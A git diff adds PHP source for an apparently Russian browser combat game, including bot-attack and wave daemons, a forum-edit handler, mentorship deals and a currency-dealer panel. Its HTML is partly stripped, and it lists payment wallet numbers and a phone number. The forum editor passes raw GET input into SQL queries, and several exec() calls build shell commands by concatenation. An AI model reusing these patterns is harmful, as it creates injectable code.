$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron2']}','{$dress['bron3']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','{$dress[koll]}')"); + $iid = mysql_insert_id(); + $ncost = $dress['cost']; + $nal = $dress['nalign']; + $nid = $dress['id']; + switch($dress['type']) { + case 1: $slot1 = 'sergi'; break; + case 2: $slot1 = 'kulon'; break; + case 3: $slot1 = 'weap'; break; + case 4: $slot1 = 'bron'; break; + case 5: $slot1 = 'r1'; break; + case 6: $slot1 = 'r2'; break; + case 7: $slot1 = 'r3'; break; + case 8: $slot1 = 'helm'; break; + case 9: $slot1 = 'perchi'; break; + case 10: $slot1 = 'shit'; break; + case 11: $slot1 = 'boots'; break; + } + $dress = mysql_fetch_array(mysql_query("SELECT `cost` FROM `inventory` WHERE `id` = '".$arch[$slot1]."' LIMIT 1")); + if($dress[0] < $ncost && $nal == 0) { + dressitem2($iid); + } + } + } + + $pay = mysql_fetch_array(mysql_query("SELECT `present` FROM `inventory` WHERE `owner` = 233 AND `name` = 'Чек на предьявителя';")); + if($pay && !$arha['battle']) { + mysql_query("DELETE FROM `inventory` WHERE `owner` = 233 AND `name` = 'Чек на предьявителя';"); + $us = mysql_fetch_array(mysql_query("SELECT `id` FROM `users` WHERE `login` = '".$pay[0]."' LIMIT 1;")); + if(rand(1,2)==1) { + mysql_query("UPDATE `users` SET `money` = `money`+400 WHERE `login` = '".$pay[0]."';"); + addchp ('Внимание! Архивариус передал вам 400.00 кр. ','{[]}'.$pay[0].'{[]}'); + exec("echo \"[PAYMENT] obnal to ".$us['id']."\" >> /var/log/arch.log"); + mysql_query('UPDATE `deztow_turnir` SET `log` = CONCAT(`log`,\''."".date("d.m.y H:i")." ".nick3($us['id'])." обналичил чек на 400 кр.
    ".'\') WHERE `active` = TRUE'); + } else { + mysql_query('UPDATE `deztow_turnir` SET `log` = CONCAT(`log`,\''."".date("d.m.y H:i")." ".nick3(233)." в ярости накинулся на ".nick3($us['id']).".
    ".'\') WHERE `active` = TRUE'); + // начинаем бой + mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('Архивариус','233','','".$arch['hp']."');"); + $bot = mysql_insert_id(); + $teams = array(); + $teams[$bot][$jert['id']] = array(0,0,time()); + $teams[$jert['id']][$bot] = array(0,0,time()); + $sv = array(3,5,7,10); + mysql_query("INSERT INTO `battle` ( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`) + VALUES + (NULL,'','".serialize($teams)."','".$sv[rand(0,3)]."','10','0','".$bot."','".$jert['id']."','".time()."','".time()."')"); + } + $id = mysql_insert_id(); + mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$bot} LIMIT 1;"); + mysql_query("UPDATE `users` SET `battle` = {$id} WHERE `id` = {$jert['id']} LIMIT 1;"); + // создаем лог + addlog($id,"Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    "); + //chmod("/backup/logs/battle".$id.".txt",766); + chown ("../backup/logs/battle".$id.".txt" , "www-data" ); + chgrp ("../backup/logs/battle".$id.".txt" , "www-data" ); + exec("echo \"".date("Y-m-d H:i:s")."[PAYMENT] aggression to ".$jert['id']."\" >> /var/log/arch.log"); + mysql_query("UPDATE users SET `battle` ={$id},`zayavka`=0 WHERE `id` = {$jert['id']}"); + mysql_query('UPDATE `deztow_turnir` SET `log` = CONCAT(`log`,\''."".date("d.m.y H:i")." ".nick3($bot)." напал на ".nick3($jert['id'])." завязался бой »»
    ".'\') WHERE `active` = TRUE'); + $archa['battle'] = $id; + } + + // нападаем на юзверей + if(($starttime+180) <= time() AND !$arha['battle']) { + $jert = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `room` = '".$arch['room']."' AND `in_tower`=1 AND `id`<>233 LIMIT 1;")); + //print_r($jert); + if($jert['hp'] > 0 && ($jert['id']!=233)) { + if($jert['battle'] > 0) { + // вмешиваемся + mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('Архивариус','233','','".$arch['hp']."');"); + $bot = mysql_insert_id(); + + $bd = mysql_fetch_array(mysql_query ('SELECT * FROM `battle` WHERE `id` = '.$jert['battle'].' LIMIT 1;')); + $battle = unserialize($bd['teams']); + $ak = array_keys($battle[$jert['id']]); + $battle[$bot] = $battle[$ak[0]]; + foreach($battle[$bot] as $k => $v) { + $battle[$k][$bot] = array(0,0,time()); + } + $t1 = explode(";",$bd['t1']); + // проставляем кто-где + if (in_array ($jert['id'],$t1)) { + $ttt = 2; + } else { + $ttt = 1; + } + addlog($jert['battle'],''.date("H:i").' '.nick5($bot,"B".$ttt).' вмешался в поединок!
    \') WHERE `id` = '.$jert['battle'].''); + exec("echo \"".date("Y-m-d H:i:s")."[AGRESSION] in battle to ".$jert['id']."\" >> /var/log/arch.log"); + mysql_query('UPDATE `battle` SET `teams` = \''.serialize($battle).'\', `t'.$ttt.'`=CONCAT(`t'.$ttt.'`,\';'.$bot.'\') WHERE `id` = '.$jert['battle'].' ;'); + mysql_query("UPDATE bots SET `battle` =".$jert['battle']." WHERE `id`= ".$bot); + mysql_query('UPDATE `deztow_turnir` SET `log` = CONCAT(`log`,\''."".date("d.m.y H:i")." ".nick3($bot)." вмешался в поединок »»
    ".'\') WHERE `active` = TRUE;'); + }else + { + // начинаем бой + mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('Архивариус','233','','".$arch['hp']."');"); + $bot = mysql_insert_id(); + + $teams = array(); + $teams[$bot][$jert['id']] = array(0,0,time()); + $teams[$jert['id']][$bot] = array(0,0,time()); + $sv = array(3,5,7,10); + //$tou = array_rand($sv,1); + exec("echo \"".date("Y-m-d H:i:s")."[AGRESSION] to ".$jert['id']."\" >> /var/log/arch.log"); + mysql_query("INSERT INTO `battle` + ( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2` + ) + VALUES + ( + NULL,'','".serialize($teams)."','".$sv[rand(0,3)]."','10','0','".$bot."','".$jert['id']."','".time()."','".time()."' + )"); + + $id = mysql_insert_id(); + + // апдейтим врага + mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$bot} LIMIT 1;"); + mysql_query("UPDATE `users` SET `battle` = {$id} WHERE `id` = {$jert['id']} LIMIT 1;"); + + + // создаем лог + $rr = "".nick3($bot)." и ".nick3($jert['id']).""; + + addlog($id,"Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    "); + //chmod("/backup/logs/battle".$id.".txt",766); + chown ("../backup/logs/battle".$id.".txt" , "www-data" ); + chgrp ("../backup/logs/battle".$id.".txt" , "www-data" ); + + mysql_query("UPDATE users SET `battle` ={$id},`zayavka`=0 WHERE `id` = {$jert['id']}"); + mysql_query('UPDATE `deztow_turnir` SET `log` = CONCAT(`log`,\''."".date("d.m.y H:i")." ".nick3($bot)." напал на ".nick3($jert['id'])." завязался бой »»
    ".'\') WHERE `active` = TRUE'); + } + } + } + sleep(5); +} +?> \ No newline at end of file diff --git a/daemons/hellround.php b/daemons/hellround.php new file mode 100644 index 0000000..1dd0692 --- /dev/null +++ b/daemons/hellround.php @@ -0,0 +1,121 @@ + + 4, + "80" => 4, + "81" => 2, + "82" => 2, + "83" => 2, + "84" => 1, + "85" => 1, + "86" => 1, + "87" => 1, + ); + + // подключаем конфиг + // include "../connect.php"; + // подключаем функции + // include "../functions.php"; + + // циклим демона + // while(1) { + // итерация + + // есть ли конект с базой + $test = mysql_fetch_array(mysql_query("SELECT 1;")); + if($test[1]!=1) { + // include "../connect.php"; + } + + // выбираем все походы + $pohs = mysql_query("SELECT `owner`,`volna`,`id` FROM `hellround_pohod` WHERE `end` = 0;"); + while ($poh = mysql_fetch_array($pohs)) { + // проверяем на живность + $u = mysql_fetch_array(mysql_query("SELECT `hp` FROM `users` WHERE `id` = '".$poh['owner']."' LIMIT 1;")); + if($u['hp'] <= 0) { + // удаляем ресурсы + mysql_query("DELETE FROM `inventory` WHERE `owner` = '".$poh['owner']."' AND `bs` = 1;"); + mysql_query("UPDATE `hellround_pohod` SET `end` = 1, `date_out` = NOW( ) WHERE `id` = ".$poh['id']." AND `end` = 0;"); + addchp ('Внимание! Вы погибли в противостоянии хаосу...
    \'; top.frames[\'main\'].location=\'main.php\'; var z = \' ','{[]}'.nick7 ($poh['owner']).'{[]}'); + echo "USER: ".$poh['owner']." live trip.\n"; + } else + { + // забираем последний бой, может пора запускать волну? + $last_a = mysql_fetch_array(mysql_query("SELECT `id` FROM `battle` WHERE `t1` = '".$poh['owner']."' AND `win` = 3 ORDER by `id` DESC LIMIT 1;")); + $last_b = mysql_fetch_array(mysql_query("SELECT `to1` FROM `battle` WHERE `t1` = '".$poh['owner']."' AND `win` <> 3 ORDER by `id` DESC LIMIT 1;")); + $last_b = $last_b[0]; + $last_a = $last_a[0]; + + // echo $last_a." ".$last_b." ".$poh['owner']."\n"; + + // проверяем, запускаем ботов + if ((time()-$last_b) >= 60 && $last_a == 0) { + // если прошло больше минуты, стартуем волну + $nextvolna = $poh['volna']+1; + + $bot[1] = $shema[$bots[0]]*$nextvolna; + $bot[2] = $shema[$bots[1]]*$nextvolna; + $bot[3] = $shema[$bots[2]]*$nextvolna; + + if ($nextvolna >= 10) { + $bot[4] = $shema[$bots[3]]*$nextvolna; + $bot[5] = $shema[$bots[4]]*$nextvolna; + $bot[6] = $shema[$bots[5]]*$nextvolna; + } + if ($nextvolna >= 25) { + $bot[7] = $shema[$bots[6]]*$nextvolna; + $bot[8] = $shema[$bots[7]]*$nextvolna; + $bot[9] = $shema[$bots[8]]*$nextvolna; + } + // делаем массив с айдишниками ботов + for($n = 1; $n <= 9; $n++) { + for($i = 1; $i <= (int)$bot[$n]; $i++){ + $botz = mysql_fetch_array(mysql_query("SELECT `maxhp`,`id` FROM `users` WHERE `id` = '".$bots[$n-1]."' LIMIT 1;")); + mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".$names[$n]." (проекция ".($i).")','".$bots[$n-1]."','','".$botz['maxhp']."');"); + $botz = mysql_insert_id(); + $enemys[] = $botz; + } + + } + // array of teams + $teams = array(); + foreach($enemys as $v) { + $teams[$poh['owner']][$v] = array(0,0,time()); + $teams[$v][$poh['owner']] = array(0,0,time()); + } + // запись о битве + mysql_query("INSERT INTO `battle` + ( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2` + ) + VALUES + ( + NULL,'','".serialize($teams)."','3','1','0','".$poh['owner']."','".implode(";",$enemys)."','".time()."','".time()."' + )"); + $id = mysql_insert_id(); + + // апдейтим бота + foreach($enemys as $v) { + mysql_query("UPDATE `bots` SET `battle` = ".$id." WHERE `id` = ".$v." LIMIT 1;"); + } + // создаем лог + //$rr = "".nick3($user['id'])." и ".nick3($bot).""; + + //mysql_query("INSERT INTO `logs` (`id`,`log`) VALUES('{$id}','Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    ');"); + addlog($id,"Часы показывали ".date("Y.m.d H.i").", когда ".nick3($poh['owner'])." вышел на битву с Адом...
    "); + chown ("backup/logs/battle".$id.".txt" , "www-data" ); + chgrp ("backup/logs/battle".$id.".txt" , "www-data" ); + + mysql_query("UPDATE users SET `battle` =".$id.",`zayavka`=0 WHERE `id`= ".$poh['owner'].";"); + addchp ('Внимание! Новое пришествие...
    \'; top.frames[\'main\'].location=\'fbattle.php\'; var z = \' ','{[]}'.nick7 ($poh['owner']).'{[]}'); + mysql_query("UPDATE `hellround_pohod` SET `volna`=`volna`+1 WHERE `id` = ".$poh['id']." LIMIT 1;"); + echo "USER: ".$poh['owner']." New wave.\n"; + } + } + // задержка + sleep(5); + } + // } +?> \ No newline at end of file diff --git a/daemons/var/log/arch.log b/daemons/var/log/arch.log new file mode 100644 index 0000000..e69de29 diff --git a/data/contact.php b/data/contact.php new file mode 100644 index 0000000..86c4229 --- /dev/null +++ b/data/contact.php @@ -0,0 +1,74 @@ + 2 && $user['align'] != '2.99')) { + exit(); +} + + +function nics($id) { + $user = mysql_fetch_array(mysql_query("SELECT `id`, `align`, `level`, `login`, `klan` FROM `users` WHERE `id` = '{$id}' LIMIT 1")); + if(isset($user['id'])) { + $mm .= ' 0 ? $user['align']:0).'.gif\' />'; + if($user['klan'] > 0) { + $mm .= ''; + } + $mm .= ''.$user['login'].' ['.$user['level'].']'; + } + return $mm; +} + +$action = isset($_GET["act"]) ? $_GET["act"] : ""; +$fid = isset($_GET["fid"]) ? $_GET["fid"] : ""; +$page = isset($_GET["page"]) ? $_GET["page"] : 0; + +if(!empty($fid)) { + $txt = mysql_fetch_array(mysql_query('SELECT `id`, `text` FROM `forum` WHERE `id` = "'.$fid.'" LIMIT 1')); +} + +if($action == "edit" && !empty($fid)) { + $output = "
    +

    Редактирование сообщения :

    + + +
    "; + + $output .= "
    "; + + $output .= " + + + + + +
    +
    +
    +
    "; + echo $output; +} elseif($action == "send") { + $txt = iconv('UTF-8', 'utf-8', $_GET['message']); + $us = nics($user['id']); + $txt .= '
    Откредактировал : '.$us; + $forum = mysql_fetch_array(mysql_query('SELECT `id`, `parent` FROM `forum` WHERE `id` = "'.$_GET['fids'].'" LIMIT 1')); + if($forum['parent'] <= 100) { + $forum['parent'] = $_GET['fids']; + } else { + $forum['parent'] = $forum['parent']; + } + $top = mysql_fetch_array(mysql_query('SELECT `id`, `parent` FROM `forum` WHERE `id` = "'.$forum['parent'].'" LIMIT 1')); + $loc = mysql_fetch_array(mysql_query('SELECT `id` FROM `forum` WHERE `id` = "'.$top['parent'].'" AND `type` = 1 LIMIT 1')); + mysql_query('UPDATE `forum` SET `text` = "'.$txt.'" WHERE `id` = "'.$_GET['fids'].'" LIMIT 1'); + echo 'Изменения вступили в силу. Обновляю.'; + echo ''; +} else { + exit(); +} + + +exit; + +?> \ No newline at end of file diff --git a/deal.php b/deal.php new file mode 100644 index 0000000..d144c93 --- /dev/null +++ b/deal.php @@ -0,0 +1,268 @@ +0)) header("Location: index.php"); + include "config.php"; + $user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;")); + + if ($user['battle'] != 0) { header('location: fbattle.php'); die(); } + + $user['prof3_lvl'] = $user['prof3_level']; + if($user['prof3_lvl'] == 0) { + $user['prof3_lvl'] = 1; + } + + function timeOut($ttm) { + $out = ''; + $time_still = $ttm; + $tmp = floor($time_still/2592000); + $id=0; + if ($tmp > 0) + { + $id++; + if ($id<3) {$out .= $tmp." мес. ";} + $time_still = $time_still-$tmp*2592000; + } + $tmp = floor($time_still/86400); + if ($tmp > 0) + { + $id++; + if ($id<3) {$out .= $tmp." дн. ";} + $time_still = $time_still-$tmp*86400; + } + $tmp = floor($time_still/3600); + if ($tmp > 0) + { + $id++; + if ($id<3) {$out .= $tmp." ч. ";} + $time_still = $time_still-$tmp*3600; + } + $tmp = floor($time_still/60); + if ($tmp > 0) + { + $id++; + if ($id<3) {$out .= $tmp." мин. ";} + } + if($out=='') + { + if($time_still<0) + { + $time_still = 0; + } + $out = $time_still.' сек.'; + } + return $out; + } + + if(isset($_POST['login_deal']) && ( $user['prof3'] + $user['prof3_lvl'] * 86400 * 30 > time() )) { + if($_POST['login_deal'] == $user['login']) { + $error = 'Нельзя предложить наставничество самому себе ;)'; + }else{ + $user2 = mysql_fetch_array(mysql_query('SELECT `id`,`login` FROM `users` WHERE `login` = "'.mysql_real_escape_string($_POST['login_deal']).'" LIMIT 1')); + if(isset($user2['id'])) { + $deal = mysql_fetch_array(mysql_query('SELECT `id` FROM `deal` WHERE `uid1` = "'.$user['id'].'" AND `uid2` = "'.$user2['id'].'" AND `finish` > "'.time().'" AND `status` = 0 AND `type` = 1 LIMIT 1')); + if(isset($deal['id'])) { + $error = 'Вы уже подали предложение стать вашим наставником персонажу "'.htmlspecialchars($_POST['login_deal'],NULL,'cp1251').'".'; + }else{ + $deal = mysql_fetch_array(mysql_query('SELECT `id` FROM `deal` WHERE `uid2` = "'.$user2['id'].'" AND `status` = 1 AND `type` = 1 LIMIT 1')); + if(isset($deal['id'])) { + $error = 'У персонажа "'.htmlspecialchars($_POST['login_deal'],NULL,'cp1251').'" уже есть наставник!'; + }else{ + $deal = mysql_fetch_array(mysql_query('SELECT `id`,`finish` FROM `deal` WHERE `uid1` = "'.$user['id'].'" AND `uid2` = "'.$user2['id'].'" AND `status` = 2 AND `type` = 1 AND `finish` > "'.time().'" LIMIT 1')); + if(isset($deal['id'])) { + $error = 'Персонаж "'.htmlspecialchars($_POST['login_deal'],NULL,'cp1251').'" отказался от ваших услуг! Попробуйте через '.timeOut($deal['finish']-time()).', возможно игрок передумает ;)'; + }else{ + $error = 'Вы предложили "'.htmlspecialchars($_POST['login_deal'],NULL,'cp1251').'" стать вашим учеником! Ожидайте подтверждения!'; + mysql_query('INSERT INTO `deal` ( + `uid1`,`uid2`,`type`,`status`,`start`,`finish` + ) VALUES ( + "'.$user['id'].'","'.$user2['id'].'","1","0","'.time().'","'.(time() + 7200).'" + )'); + } + } + } + }else{ + $error = 'Персонаж с логином "'.htmlspecialchars($_POST['login_deal'],NULL,'cp1251').'" не найден.'; + } + } + }elseif(isset($_GET['d'])) { + $deal = mysql_fetch_array(mysql_query('SELECT * FROM `deal` WHERE `id` = "'.mysql_real_escape_string($_GET['d']).'" AND `uid2` = "'.$user['id'].'" AND `finish` > "'.time().'" AND `status` = 0 LIMIT 1')); + if(isset($deal['id'])) { + if(isset($_GET['yes'])) { + $error = 'Вы успешно согласились на сделку!'; + mysql_query('UPDATE `deal` SET `status` = "1" WHERE `id` = "'.$deal['id'].'" LIMIT 1'); + }elseif(isset($_GET['no'])) { + $error = 'Вы успешно отказались от сделки!'; + mysql_query('UPDATE `deal` SET `status` = "2" WHERE `id` = "'.$deal['id'].'" LIMIT 1'); + } + }else{ + $error = 'Сделка не найдена!'; + } + }elseif(isset($_GET['un'])) { + $deal = mysql_fetch_array(mysql_query('SELECT * FROM `deal` WHERE `id` = "'.mysql_real_escape_string($_GET['un']).'" AND `uid2` = "'.$user['id'].'" AND `status` = 1 AND `type` = 1 LIMIT 1')); + if(isset($deal['id'])) { + $error = 'Вы успешно отказались от наставничества!'; + mysql_query('UPDATE `deal` SET `status` = "2" WHERE `id` = "'.$deal['id'].'" LIMIT 1'); + }else{ + $error = 'Сделка не найдена!'; + } + }elseif(isset($_GET['un2']) && ( $user['prof3'] + $user['prof3_lvl'] * 86400 * 30 > time() )) { + $deal = mysql_fetch_array(mysql_query('SELECT * FROM `deal` WHERE `id` = "'.mysql_real_escape_string($_GET['un2']).'" AND `uid1` = "'.$user['id'].'" AND `status` = 1 AND `type` = 1 LIMIT 1')); + if(isset($deal['id'])) { + $error = 'Вы успешно отказались от ученика!'; + mysql_query('UPDATE `deal` SET `status` = "2" WHERE `id` = "'.$deal['id'].'" LIMIT 1'); + }else{ + $error = 'Сделка не найдена!'; + } + } + +?> + + + + +old-dark :: Сделки + + + + + +

    Сделки \ Наставничество

    +

    +

    +
    +
    + + +
    + + + + + + + + "'.time().'" AND `status` = 0'); + while( $pl = mysql_fetch_array($sp) ) { + // + $txt = ''; + if( $pl['type'] == 1 ) { + $txt = 'Стать учеником'; + } + // + $time = $pl['finish']-time(); + $time = timeOut($time); + // + $user2 = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$pl['uid1'].'" LIMIT 1')); + // + $see = 1; + if(isset($_GET['d']) && $_GET['d'] == $pl['id'] && (isset($_GET['yes']) || isset($_GET['no']))) { + $see = 0; + } + if( $see == 1 ) { + ?> + + + + + + + +
    ДействиеПредмет сделкиКто предложилОставшееся время
    Да \ Нет'?>
    + + + + + +
    Нет сделок
    + +

     

    +

    Наставничество

    + time() ) { +// +$denast = mysql_fetch_array(mysql_query('SELECT * FROM `deal` WHERE `uid2` = "'.$user['id'].'" AND `type` = 1 AND `status` = 1 LIMIT 1')); +$nast = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$denast['uid1'].'" LIMIT 1')); +// +$html = ''; +$i = 0; +$sp = mysql_query('SELECT * FROM `deal` WHERE `uid1` = "'.$user['id'].'" AND `status` = 1 AND `type` = 1'); +while( $pl = mysql_fetch_array($sp) ) { + $user2 = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$pl['uid2'].'" LIMIT 1')); + if(isset($user2['id'])) { + $html .= '
     '.($i+1).'. '.$user2['login'].' ['.$user2['level'].']'. + ' обучается с '.date('d.m.Y H:i',$pl['start']).''. + ' (отказаться)'. + '
    + + + + + + + + + + + + + + + + + + + + + +
    Ваш наставник'.$nast['login'].' '; + echo ' (отказаться)'; + }else{ + echo 'Нет'; + } + ?>
    Уровень наставничества
    Опыт наставничества /
    Срок действия лицензиидо (Продлевается в Академмии на Торговой ул.)
    Ваши ученики ( чел.): +
    + Введите логин ученика:   +
    +
    + 0 ) { + echo '


    У вас закончилась лицензия Наставника, продлите её в Академии!
    '; + }else{ + echo '


    У вас нет лицензия Наставника, приобретите её в Академии!
    '; + } +}?> + + \ No newline at end of file diff --git a/dealer.php b/dealer.php new file mode 100644 index 0000000..4046583 --- /dev/null +++ b/dealer.php @@ -0,0 +1,236 @@ + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + 0 or $user['admin']==1){ + ############# Проверка и открытие данных счета ################# + if (isset($_SESSION['bankid'])){ + $bank_alhimik = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id` = ".$_SESSION['bankid']." LIMIT 1;")); + } + + ############## Экоанизация формы ################################ + echo '"; + + ############## Зачисление екр ##################################### + if ($_POST['putekr'] and isset($_SESSION['bankid'])){ + if (isset($_POST['ekr']) and isset($_POST['bank']) and isset($_POST['tonick'])) { + If ($_POST['ekr']<=$bank_alhimik['ekr'] and $_POST['ekr']>0){ + $tonick = mysql_fetch_array(mysql_query("SELECT login,id, align FROM `users` WHERE `login` = '".mysql_real_escape_string($_POST['tonick'])."' LIMIT 1;")); + $bank = mysql_fetch_array(mysql_query("SELECT owner,id FROM `bank` WHERE `id` = '".mysql_real_escape_string($_POST['bank'])."' LIMIT 1;")); + if (ereg("auto-",$user['login']) || ereg("auto-",$user['login'])) { + $botfull=$user['login']; + list($bot, $botlogin) = explode("-", $user['login']); + $botnick = mysql_fetch_array(mysql_query("SELECT login,id FROM `users` WHERE `login` = '".mysql_real_escape_string($botlogin)."' LIMIT 1;")); + $user['login']=$botnick['login']; + $user['id']=$botnick['id']; + } + + if ($bank['owner'] && $tonick['id'] && $bank['owner'] == $tonick['id']) { + If ($user['deal']> 0 or (($user['align']==2.99 or $user['align']==5 or $user['align']==2.5) and (($tonick['align']>1 and $tonick['align']<2) or ($tonick['align']>3 and $tonick['align']<4) or ($tonick['align']>5 and $tonick['align']<6)))){ + $_POST['ekr'] = round($_POST['ekr'],2); + if (mysql_query("UPDATE `bank` set `ekr` = ekr+'".mysql_real_escape_string($_POST['ekr'])."' WHERE `id` = '".mysql_real_escape_string($_POST['bank'])."' LIMIT 1;")) { + if ($bot && $botlogin) { + mysql_query("INSERT INTO `dilerdelo` (dilerid,dilername,bank,owner,ekr) values ('".mysql_real_escape_string($_SESSION['uid'])."','".$botfull."','".mysql_real_escape_string($_POST['bank'])."','".mysql_real_escape_string($_POST['tonick'])."','".mysql_real_escape_string($_POST['ekr'])."');"); + mysql_query("INSERT INTO `dilerdelo` (dilerid,dilername,bank,owner,ekr) values ('".mysql_real_escape_string($user['id'])."','".$botfull."','".mysql_real_escape_string($_POST['bank'])."','".mysql_real_escape_string($_POST['tonick'])."','".mysql_real_escape_string($_POST['ekr'])."');"); + }else{ + mysql_query("INSERT INTO `dilerdelo` (dilerid,dilername,bank,owner,ekr) values ('".mysql_real_escape_string($user['id'])."','".mysql_real_escape_string($user['login'])."','".mysql_real_escape_string($_POST['bank'])."','".mysql_real_escape_string($_POST['tonick'])."','".mysql_real_escape_string($_POST['ekr'])."');"); + } + + mysql_query("INSERT INTO `delo`(`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','".mysql_real_escape_string($tonick['id'])."','Получено ".mysql_real_escape_string($_POST['ekr'])." екр на счет №".mysql_real_escape_string($_POST['bank'])." от дилера ".$user['login']."',1,'".time()."');"); + $us = mysql_fetch_array(mysql_query("select `id` from `online` WHERE `date` >= ".(time()-60)." AND `id` = '".$tonick['id']."' LIMIT 1;")); + + if($us[0]){ + addchp ('Внимание! На ваш счет №'.$_POST['bank'].' переведено '.$_POST['ekr'].' екр. от дилера '.$user['login'].' ','{[]}'.$_POST['tonick'].'{[]}'); + }else{ + mysql_query("INSERT INTO `telegraph` (`owner`,`date`,`text`) values ('".$tonick['id']."','','".'Внимание! На ваш счет №'.mysql_real_escape_string($_POST['bank']).' переведено '.mysql_real_escape_string($_POST['ekr']).' екр. от дилера '.mysql_real_escape_string($user['login']).' '."');"); + } + + mysql_query("UPDATE `bank` set `ekr` = ekr-'".mysql_real_escape_string($_POST['ekr'])."' WHERE `id` = '".mysql_real_escape_string($_SESSION['bankid'])."' LIMIT 1;"); + + print "Успешно зачислено {$_POST['ekr']} екр. на счет {$_POST['bank']} персонажа {$_POST['tonick']}!"; + + }else{ + print "Произошла ошибка!"; + } + }else{print "Вы не можете передавать персонажу {$_POST['tonick']} екры!";} + }else{print "Счет номер {$_POST['bank']} не принадлежит персонажу {$_POST['tonick']}!";} + }else{print "У Вас недостаточно екр. на счете!";} + }else{print "Введите сумму, номер счета и ник персонажа!";} + } + + if ($_POST['checkbank']) { + if ($_POST['charlogin']) { + $tonick = mysql_fetch_array(mysql_query("SELECT login,id FROM `users` WHERE `login` = '".mysql_real_escape_string($_POST['charlogin'])."' LIMIT 1;")); + $bankdb = mysql_query("SELECT owner,id FROM `bank` WHERE `owner` = '".mysql_real_escape_string($tonick['id'])."'"); + print "Персонажу {$_POST['charlogin']} принадлежат счета:
    "; + while ($bank=mysql_fetch_array($bankdb)) { + print "№ {$bank['id']}
    "; + } + } + else if ($_POST['charbank']) { + $bank = mysql_fetch_array(mysql_query("SELECT owner,id FROM `bank` WHERE `id` = '".mysql_real_escape_string($_POST['charbank'])." 'LIMIT 1;")); + $tonick = mysql_fetch_array(mysql_query("SELECT login,id FROM `users` WHERE `id` = '".mysql_real_escape_string($bank['owner'])."' LIMIT 1;")); + print "Счет № {$_POST['charbank']} принадлежит персонажу {$tonick['login']}
    "; + } + + } + +} +?> +

    Дилеры

    + + +
    +
    + = ".(time()-60)." AND `id` = users.`id`) as `online` FROM `users` WHERE `deal` IN ('1') order by online DESC, login asc ;"); + while ($row = mysql_fetch_array($data)) { + if ($row['online']>0) { + echo ''; + nick2($row['id']); + if ($row['id'] == $user['deal']) echo ' - '.$row['status'].''; + $rrm = $rooms[$row['room']]; + echo ' онлайн
    '; + } + if ($row['online']<1) { + echo 'Нет в клубе'; + nick2($row['id']); + if ($row['id'] == $user['deal']) echo ' - ',$row['status'],''; + echo ' - не в игре
    '; + } + } + ?> +
    + Продают еврокредиты.
    Вы можете отправить им личное сообщение, даже если вы и Дилеры находитесь в разных городах.
    +
    + +
    Курс покупки ЕвроКредитов: + ]+>[^>]+>([^<]+)[^>]+>[^>]+>[^>]+>[^>]+>[^>]+>[^>]+>([^<]+)[^>]+>[^>]+>([^<]+)#i"; + preg_match_all($pattern, $content, $out, PREG_SET_ORDER); + foreach($out as $cur) { + if($cur[2] == 840) $dollar = str_replace(",",".",$cur[4]); + if($cur[2] == 978) $euro = str_replace(",",".",$cur[4]); + if($cur[2] == 980) $grivna = str_replace(",",".",$cur[4]); + } + echo "1 екр = ".round($dollar/$euro,3)." EUR
    "; + echo "1 екр = ".round($dollar,3)." RUR
    "; + echo "1 екр = ".round($dollar/$grivna*10,3)." UAH
    "; + echo "1 екр = 1 USD
    "; + echo "1 екр = 40 кр.
    "; + ?> +
    +
    + WebMoney + WMZ: Z333016535196
    + WMR: R420089996228
    + WMG: G210462977679
    + WMU: U164195350082
    + WME: E198432770955
    + WMB: B389509579835
    + + QiWi + +79056560458 +
    + Можно оплатить с помощью банковской карты, купив web-money на один из указанных выше кошельков.
    + Сделать это можно по ссылке: http://www.netexchange.ru/buy/ + или http://www.intexchange.ru. +
    +

    Ангелы

    + = ".(time()-60)." AND `id` = users.`id`) as `online` FROM `users` WHERE `align` IN ('2.99','2.9') order by online DESC, login asc ;"); + while ($row = mysql_fetch_array($data)) { + if ($row['online']>0) { + echo ''; + nick2($row['id']); + if ($row['id'] == $user['deal']) echo ' - '.$row['status'].''; + $rrm = $rooms[$row['room']]; + echo ' онлайн
    '; + } + if ($row['online']<1) { + echo 'Нет в клубе'; + nick2($row['id']); + if ($row['id'] == $user['deal']) echo ' - ',$row['status'],''; + echo ' - не в игре
    '; + } + } + ?> +
    '; + echo "

    Дилерская панель

    "; + If (isset($_SESSION['bankid'])){echo "Банк: ".$bank_alhimik['ekr']." екр.";} + echo "
    Зачислить екры на счет + + + +
    Введите сумму Номер счета Ник персонажа "; + If (isset($_SESSION['bankid'])){ echo"";}else{echo "Авторизируйтесь в Банке!";} + echo "
    "; + echo "
    Проверить логин / номер счета + + + +
    Логин Номер счета
    +
